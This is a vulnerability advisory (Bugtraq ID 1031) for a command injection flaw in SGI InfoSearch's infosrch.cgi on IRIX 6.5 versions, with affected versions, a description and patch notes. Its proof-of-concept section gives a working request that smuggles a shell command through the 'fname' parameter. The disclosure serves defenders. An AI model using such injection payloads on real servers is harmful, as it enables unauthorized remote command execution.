SGI InfoSearch fname Vulnerability

BID:1031

Info

SGI InfoSearch fname Vulnerability

Bugtraq ID: 1031
Class: Input Validation Error
CVE:
Remote: Yes
Local: Yes
Published: Mar 05 2000 12:00AM
Updated: Mar 05 2000 12:00AM
Credit: Posted to Bugtraq on March 5, 2000 by rpc <[email protected]>.
Vulnerable: SGI IRIX 6.5.7
SGI IRIX 6.5.6
SGI IRIX 6.5.4
SGI IRIX 6.5.3 m
SGI IRIX 6.5.3 f
SGI IRIX 6.5.3
SGI IRIX 6.5.2 m
SGI IRIX 6.5.1
SGI IRIX 6.5
SGI InfoSearch 1.0
+ SGI IRIX 6.5
Not Vulnerable: SGI IRIX 6.5.8
SGI IRIX 6.2

Discussion

SGI InfoSearch fname Vulnerability

The InfoSearch package converts man pages and other documentation into HTML web content. The search form uses infosrch.cgi which does not properly parse user input in the 'fname' variable, allowing commands to be executed at the webserver privilege level by remote web users.

Exploit / POC

SGI InfoSearch fname Vulnerability

http&nbsp;://target/cgi-bin/infosrch.cgi?cmd=getdoc&db=man&fname=|/bin/id

Solution / Fix

SGI InfoSearch fname Vulnerability

Solution:
Patches are available.


SGI IRIX 6.5

SGI IRIX 6.5.1

SGI IRIX 6.5.2 m

SGI IRIX 6.5.3 m

SGI IRIX 6.5.3

SGI IRIX 6.5.3 f

SGI IRIX 6.5.4

SGI IRIX 6.5.6

References

SGI InfoSearch fname Vulnerability

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